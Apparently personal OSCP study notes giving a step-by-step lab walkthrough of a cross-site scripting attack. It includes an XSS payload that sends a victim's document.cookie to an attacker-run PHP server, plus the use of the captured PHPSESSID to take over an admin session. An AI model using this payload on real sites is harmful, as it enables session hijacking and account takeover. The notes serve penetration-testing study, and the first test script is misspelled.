OSCP Learning Notes - WebApp Exploitation(2)

Cross-Site Scripting(XSS)

 1. Using the tool - netdiscover to find the IP of target server.

netdiscover

OSCP Learning Notes - WebApp Exploitation(2)

2.Browser the website http://10.0.0.21 through Firefox.

OSCP Learning Notes - WebApp Exploitation(2)

3. Click ‘Test‘ . Then write the following script in the text box. 

<script>alter(‘XSS‘)</script>

 

OSCP Learning Notes - WebApp Exploitation(2)

 

 OSCP Learning Notes - WebApp Exploitation(2)

4.Create the index.php in the root folder.

<?php
$cookie = isset($_GET["test"])?$_GET[‘test‘]:"";
?>

OSCP Learning Notes - WebApp Exploitation(2)

5. Start the php service.

service apache2 stop
php -S 10.0.0.109:80

OSCP Learning Notes - WebApp Exploitation(2)

6. Write the following script in the text box, then click the "Submit Query" button.

<script>location.href=‘http://10.0.0.109/index.php?test=‘+document.cookie;</script>

OSCP Learning Notes - WebApp Exploitation(2)

OSCP Learning Notes - WebApp Exploitation(2)

 7. Install the Cookie Manager on the Firefox.

OSCP Learning Notes - WebApp Exploitation(2)

 8. Edit the PHPSESSID value in the Cookies Manager tool and change the value to the PHPSESSID showed in Kali Linux terminal. Then save the cookie value.

OSCP Learning Notes - WebApp Exploitation(2)

 

9. After change the cookie value - PHPSESSID. Click the ‘Admin‘ buttion, then you can login without username and password. You obtain the administrator privileges.

OSCP Learning Notes - WebApp Exploitation(2)

 

 

OSCP Learning Notes - WebApp Exploitation(2)

 

OSCP Learning Notes - WebApp Exploitation(2)

上一篇:APP爬虫(1)想学新语言,又没有动力,怎么办?


下一篇:记一次IDEA利用mybatis-generator自动生成dao和mapper